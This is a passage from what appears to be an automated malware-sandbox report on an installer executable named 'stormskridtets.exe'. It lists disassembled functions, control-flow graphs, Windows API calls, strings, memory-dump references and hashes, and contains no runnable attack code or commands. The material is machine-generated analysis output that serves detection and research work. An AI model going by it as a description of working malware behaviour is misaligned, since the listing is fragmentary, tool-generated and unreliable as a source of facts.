                                    • CoTaskMemFree.OLE32(0079A700), ref: 004065D4
                                    • lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 004065FA
                                    • lstrlenW.KERNEL32(Call,00000000,007A0F28,?,0040548D,007A0F28,00000000), ref: 00406652
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
                                    • String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
                                    • API String ID: 717251189-1230650788
                                    • Opcode ID: aaa997f56c542f4584990acf2269000a5d9ad94e2d12eeb77129bcfb95bdb2f4
                                    • Instruction ID: 6a9894c1754425a34e634a53c322024ca71031740d406166b65bc8419ebad360
                                    • Opcode Fuzzy Hash: aaa997f56c542f4584990acf2269000a5d9ad94e2d12eeb77129bcfb95bdb2f4
                                    • Instruction Fuzzy Hash: A261F471600505ABDF249F24DD40ABE37A5AF51318F22813FE543BA2D4DB3D8AA1CB5E
                                    Function 00405456 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 733 405456-40546b 734 405471-405482 733->734 735 405522-405526 733->735 736 405484-405488 call 40642b 734->736 737 40548d-405499 lstrlenW 734->737 736->737 739 4054b6-4054ba 737->739 740 40549b-4054ab lstrlenW 737->740 742 4054c9-4054cd 739->742 743 4054bc-4054c3 SetWindowTextW 739->743 740->735 741 4054ad-4054b1 lstrcatW 740->741 741->739 744 405513-405515 742->744 745 4054cf-405511 SendMessageW * 3 742->745 743->742 744->735 746 405517-40551a 744->746 745->744 746->735
                                    APIs
                                    • lstrlenW.KERNEL32(007A0F28,00000000,0079A700,771B23A0,?,?,?,?,?,?,?,?,?,0040338D,00000000,?), ref: 0040548E
                                    • lstrlenW.KERNEL32(0040338D,007A0F28,00000000,0079A700,771B23A0,?,?,?,?,?,?,?,?,?,0040338D,00000000), ref: 0040549E
                                    • lstrcatW.KERNEL32(007A0F28,0040338D,0040338D,007A0F28,00000000,0079A700,771B23A0), ref: 004054B1
                                    • SetWindowTextW.USER32(007A0F28,007A0F28), ref: 004054C3
                                    • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E9
                                    • SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405503
                                    • SendMessageW.USER32(?,00001013,?,00000000), ref: 00405511
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: MessageSend$lstrlen$TextWindowlstrcat
                                    • String ID:
                                    • API String ID: 2531174081-0
                                    • Opcode ID: 0decb5d3bd7311ee25dcb4cac47719bdc9880b480b93dcede20cbb014160680e
                                    • Instruction ID: 198c43ce2186877ab3aec1728abe16fb3d15ea5683a6b9ae92d40c5f72e5eea1
                                    • Opcode Fuzzy Hash: 0decb5d3bd7311ee25dcb4cac47719bdc9880b480b93dcede20cbb014160680e
                                    • Instruction Fuzzy Hash: EC21AF75900518BACB119F65DD44ACFBFB9EF89354F10802AF904B22A1C3798A81CFA8
                                    Function 00405925 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39COMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 747 405925-405970 CreateDirectoryW 748 405972-405974 747->748 749 405976-405983 GetLastError 747->749 750 40599d-40599f 748->750 749->750 751 405985-405999 SetFileSecurityW 749->751 751->748 752 40599b GetLastError 751->752 752->750
                                    APIs
                                    • CreateDirectoryW.KERNELBASE(?,?,C:\Users\user~1\AppData\Local\Temp\), ref: 00405968
                                    • GetLastError.KERNEL32 ref: 0040597C
                                    • SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 00405991
                                    • GetLastError.KERNEL32 ref: 0040599B
                                    Strings
                                    • C:\Users\user~1\AppData\Local\Temp\, xrefs: 0040594B
                                    • C:\Users\user\Desktop, xrefs: 00405925
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: ErrorLast$CreateDirectoryFileSecurity
                                    • String ID: C:\Users\user~1\AppData\Local\Temp\$C:\Users\user\Desktop
                                    • API String ID: 3449924974-2752704311
                                    • Opcode ID: 79915fdb32ce531948ad707932686e2b3240d3ac97543659e1c0f9af800e449c
                                    • Instruction ID: 4c6d3c4ce34384c56ae6b54862a6db5cebbf8231f9905efb0a53c4272bf1951e
                                    • Opcode Fuzzy Hash: 79915fdb32ce531948ad707932686e2b3240d3ac97543659e1c0f9af800e449c
                                    • Instruction Fuzzy Hash: E1011AB1C00219EADF009FA5DD44BEFBBB8EF04314F00803AD544B6190E7789648CFA9
                                    Function 00406773 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 753 406773-406793 GetSystemDirectoryW 754 406795 753->754 755 406797-406799 753->755 754->755 756 4067aa-4067ac 755->756 757 40679b-4067a4 755->757 759 4067ad-4067e0 wsprintfW LoadLibraryExW 756->759 757->756 758 4067a6-4067a8 757->758 758->759
                                    APIs
                                    • GetSystemDirectoryW.KERNEL32(?,00000104), ref: 0040678A
                                    • wsprintfW.USER32 ref: 004067C5
                                    • LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067D9
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DirectoryLibraryLoadSystemwsprintf
                                    • String ID: %s%S.dll$UXTHEME$\
                                    • API String ID: 2200240437-1946221925
                                    • Opcode ID: 70474fd7a4f9c0ba06a591290262a653731ba096fd3a0e6ffa6d52d828e9795f
                                    • Instruction ID: 038d7fed81a94acb9f8d17f6b302bf2205b26bc145b48260013954e6d266918a
                                    • Opcode Fuzzy Hash: 70474fd7a4f9c0ba06a591290262a653731ba096fd3a0e6ffa6d52d828e9795f
                                    • Instruction Fuzzy Hash: 65F0F670510119A7CF14AB64DD0DF9B376CAB40309F10047AA646F20D0EB7C9A68CBA8
                                    Function 0040324C Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 161COMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 760 40324c-403263 761 403265 760->761 762 40326c-403275 760->762 761->762 763 403277 762->763 764 40327e-403283 762->764 763->764 765 403293-4032a0 call 403444 764->765 766 403285-40328e call 40345a 764->766 770 403432 765->770 771 4032a6-4032aa 765->771 766->765 772 403434-403435 770->772 773 4032b0-4032d6 GetTickCount 771->773 774 4033dd-4033df 771->774 777 40343d-403441 772->777 778 40343a 773->778 779 4032dc-4032e4 773->779 775 4033e1-4033e4 774->775 776 40341f-403422 774->776 775->778 782 4033e6 775->782 780 403424 776->780 781 403427-403430 call 403444 776->781 778->777 783 4032e6 779->783 784 4032e9-4032f7 call 403444 779->784 780->781 781->770 792 403437 781->792 786 4033e9-4033ef 782->786 783->784 784->770 794 4032fd-403306 784->794 789 4033f1 786->789 790 4033f3-403401 call 403444 786->790 789->790 790->770 797 403403-40340f call 405f96 790->797 792->778 796 40330c-40332c call 40693e 794->796 801 403332-403345 GetTickCount 796->801 802 4033d5-4033d7 796->802 806 403411-40341b 797->806 807 4033d9-4033db 797->807 804 403390-403392 801->804 805 403347-40334f 801->805 802->772 811 403394-403398 804->811 812 4033c9-4033cd 804->812 809 403351-403355 805->809 810 403357-403388 MulDiv wsprintfW call 405456 805->810 806->786 808 40341d 806->808 807->772 808->778 809->804 809->810 817 40338d 810->817 815 40339a-4033a1 call 405f96 811->815 816 4033af-4033ba 811->816 812->779 813 4033d3 812->813 813->778 820 4033a6-4033a8 815->820 819 4033bd-4033c1 816->819 817->804 819->796 821 4033c7 819->821 820->807 822 4033aa-4033ad 820->822 821->778 822->819
                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: CountTick$wsprintf
                                    • String ID: ... %d%%
                                    • API String ID: 551687249-2449383134
                                    • Opcode ID: a56becbd4a8c381964fcf942c118294a751433144615ef02c1157a4186d243db
                                    • Instruction ID: 008436f450556a42ebae23d461066e9f0811e1f15f23a2ec19415b9062137ceb
                                    • Opcode Fuzzy Hash: a56becbd4a8c381964fcf942c118294a751433144615ef02c1157a4186d243db
                                    • Instruction Fuzzy Hash: 86516C71900219DBDB11DF65DA84B9F7FB8AF0076AF14417BE814B72C1C7789A40CBAA
                                    Function 00405F13 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37COMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 823 405f13-405f1f 824 405f20-405f54 GetTickCount GetTempFileNameW 823->824 825 405f63-405f65 824->825 826 405f56-405f58 824->826 828 405f5d-405f60 825->828 826->824 827 405f5a 826->827 827->828
                                    APIs
                                    • GetTickCount.KERNEL32 ref: 00405F31
                                    • GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,"C:\Users\user\Desktop\stormskridtets.exe",004034A0,1033,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,004036EC), ref: 00405F4C
                                    Strings
                                    • "C:\Users\user\Desktop\stormskridtets.exe", xrefs: 00405F13
                                    • C:\Users\user~1\AppData\Local\Temp\, xrefs: 00405F18
                                    • nsa, xrefs: 00405F20
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: CountFileNameTempTick
                                    • String ID: "C:\Users\user\Desktop\stormskridtets.exe"$C:\Users\user~1\AppData\Local\Temp\$nsa
                                    • API String ID: 1716503409-750366375
                                    • Opcode ID: 418a87fb760587bef7583f4f3acae06d17b3011fc99645d3e11ea5bfcaa5fca8
                                    • Instruction ID: 2ec416300cd5d099b763d3688cd3c506487cb406e2025687db32897a35dea38d
                                    • Opcode Fuzzy Hash: 418a87fb760587bef7583f4f3acae06d17b3011fc99645d3e11ea5bfcaa5fca8
                                    • Instruction Fuzzy Hash: 84F09676B00204BBDB008F55ED05E9FB7ACEB95750F10803AEA04F7140E6B499548B58
                                    Function 73C91777 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120COMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 829 73c91777-73c917b6 call 73c91b5f 833 73c917bc-73c917c0 829->833 834 73c918d6-73c918d8 829->834 835 73c917c9-73c917d6 call 73c923e0 833->835 836 73c917c2-73c917c8 call 73c9239e 833->836 841 73c917d8-73c917dd 835->841 842 73c91806-73c9180d 835->842 836->835 843 73c917f8-73c917fb 841->843 844 73c917df-73c917e0 841->844 845 73c9182d-73c91831 842->845 846 73c9180f-73c9182b call 73c925b5 call 73c915b4 call 73c91272 GlobalFree 842->846 843->842 852 73c917fd-73c917fe call 73c92d83 843->852 848 73c917e8-73c917e9 call 73c92af8 844->848 849 73c917e2-73c917e3 844->849 850 73c9187e-73c91884 call 73c925b5 845->850 851 73c91833-73c9187c call 73c915c6 call 73c925b5 845->851 870 73c91885-73c91889 846->870 861 73c917ee 848->861 854 73c917f0-73c917f6 call 73c92770 849->854 855 73c917e5-73c917e6 849->855 850->870 851->870 864 73c91803 852->864 869 73c91805 854->869 855->842 855->848 861->864 864->869 869->842 871 73c9188b-73c91899 call 73c92578 870->871 872 73c918c6-73c918cd 870->872 879 73c9189b-73c9189e 871->879 880 73c918b1-73c918b8 871->880 872->834 877 73c918cf-73c918d0 GlobalFree 872->877 877->834 879->880 881 73c918a0-73c918a8 879->881 880->872 882 73c918ba-73c918c5 call 73c9153d 880->882 881->880 883 73c918aa-73c918ab FreeLibrary 881->883 882->872 883->880
                                    APIs
                                      • Part of subcall function 73C91B5F: GlobalFree.KERNEL32(?), ref: 73C91DD4
                                      • Part of subcall function 73C91B5F: GlobalFree.KERNEL32(?), ref: 73C91DD9
                                      • Part of subcall function 73C91B5F: GlobalFree.KERNEL32(?), ref: 73C91DDE
                                    • GlobalFree.KERNEL32(00000000), ref: 73C91825
                                    • FreeLibrary.KERNEL32(?), ref: 73C918AB
                                    • GlobalFree.KERNEL32(00000000), ref: 73C918D0
                                      • Part of subcall function 73C9239E: GlobalAlloc.KERNEL32(00000040,?), ref: 73C923CF
                                      • Part of subcall function 73C92770: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,73C917F6,00000000), ref: 73C92840
                                      • Part of subcall function 73C915C6: wsprintfW.USER32 ref: 73C915F4
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1987649573.0000000073C91000.00000020.00000001.01000000.00000006.sdmp, Offset: 73C90000, based on PE: true
                                    • Associated: 00000000.00000002.1987047639.0000000073C90000.00000002.00000001.01000000.00000006.sdmpDownload File
                                    • Associated: 00000000.00000002.1987785731.0000000073C94000.00000002.00000001.01000000.00000006.sdmpDownload File
                                    • Associated: 00000000.00000002.1987804598.0000000073C96000.00000002.00000001.01000000.00000006.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_73c90000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: Global$Free$Alloc$Librarywsprintf
                                    • String ID:
                                    • API String ID: 3962662361-3916222277
                                    • Opcode ID: c06f8f5def3df1a58d82763734e97f352985e6ae90d199a44e2c63aeb7554107
                                    • Instruction ID: 31ac48ea81cf8d0542214f198666d514a6e6de3da0174eaa24577ed641c70584
                                    • Opcode Fuzzy Hash: c06f8f5def3df1a58d82763734e97f352985e6ae90d199a44e2c63aeb7554107
                                    • Instruction Fuzzy Hash: 5A41A0B24003499FFB11AF609986B9537BCBB04310F1B41A5E94BEE1C6DB788584D7AC
                                    Function 00405DCB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47stringCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 886 405dcb-405de6 call 4063ee call 405d6e 891 405de8-405dea 886->891 892 405dec-405df9 call 40669d 886->892 893 405e44-405e46 891->893 896 405e09-405e0d 892->896 897 405dfb-405e01 892->897 899 405e23-405e2c lstrlenW 896->899 897->891 898 405e03-405e07 897->898 898->891 898->896 900 405e2e-405e42 call 405cc3 GetFileAttributesW 899->900 901 405e0f-405e16 call 40674c 899->901 900->893 906 405e18-405e1b 901->906 907 405e1d-405e1e call 405d0f 901->907 906->891 906->907 907->899
                                    APIs
                                      • Part of subcall function 004063EE: lstrcpynW.KERNEL32(?,?,00000400,00403573,007A7A60,NSIS Error,?,00000007,00000009,0000000B), ref: 004063FB
                                      • Part of subcall function 00405D6E: CharNextW.USER32(?,?,C:\,?,00405DE2,C:\,C:\,?,?,C:\Users\user~1\AppData\Local\Temp\,00405B20,?,771B3420,C:\Users\user~1\AppData\Local\Temp\,00000000), ref: 00405D7C
                                      • Part of subcall function 00405D6E: CharNextW.USER32(00000000), ref: 00405D81
                                      • Part of subcall function 00405D6E: CharNextW.USER32(00000000), ref: 00405D99
                                    • lstrlenW.KERNEL32(C:\,00000000,C:\,C:\,?,?,C:\Users\user~1\AppData\Local\Temp\,00405B20,?,771B3420,C:\Users\user~1\AppData\Local\Temp\,00000000), ref: 00405E24
                                    • GetFileAttributesW.KERNELBASE(C:\,C:\,C:\,C:\,C:\,C:\,00000000,C:\,C:\,?,?,C:\Users\user~1\AppData\Local\Temp\,00405B20,?,771B3420,C:\Users\user~1\AppData\Local\Temp\), ref: 00405E34
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.00000000007DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1942041691.000000000081E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_400000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: CharNext$AttributesFilelstrcpynlstrlen
                                    • String ID: C:\$C:\Users\user~1\AppData\Local\Temp\
                                    • API String ID: 3248276644-1077792641
                                    • Opcode ID: cded0a6966890639b687aa66a4455a295a884498cbe0599bea4925404aa51844
                                    • Instruction ID: 3e737dd218ce82e1fa1fef2ae0b63742eeb13cb079fe623d21add3619189c6ea
                                    • Opcode Fuzzy Hash: cded0a6966890639b687aa66a4455a295a884498cbe0599bea4925404aa51844
                                    • Instruction Fuzzy Hash: B2F0A435104E5115D632333A9D09BEF1558CE86718B19863BF8A2B22D2DB3C8A539DBE
                                    Function 004062BC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 909 4062bc-4062ee call 40625b 912 4062f0-40631e RegQueryValueExW RegCloseKey 909->912 913 40632c 909->913 912->913 914 406320-406324 912->914 915 406330-406332 913->915 914->915 916 406326-40632a 914->916 916->913 916->915
                                    APIs
                                    • RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,?,00000800,00000002,007A0F28,00000000,?,?,Call,?,?,0040654B,80000002), ref: 00406302
                                    • RegCloseKey.KERNELBASE(?,?,0040654B,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,00000000,007A0F28), ref: 0040630D
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.1941638005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                    • Associated: 00000000.00000002.1941614636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941658971.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.1941679770.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
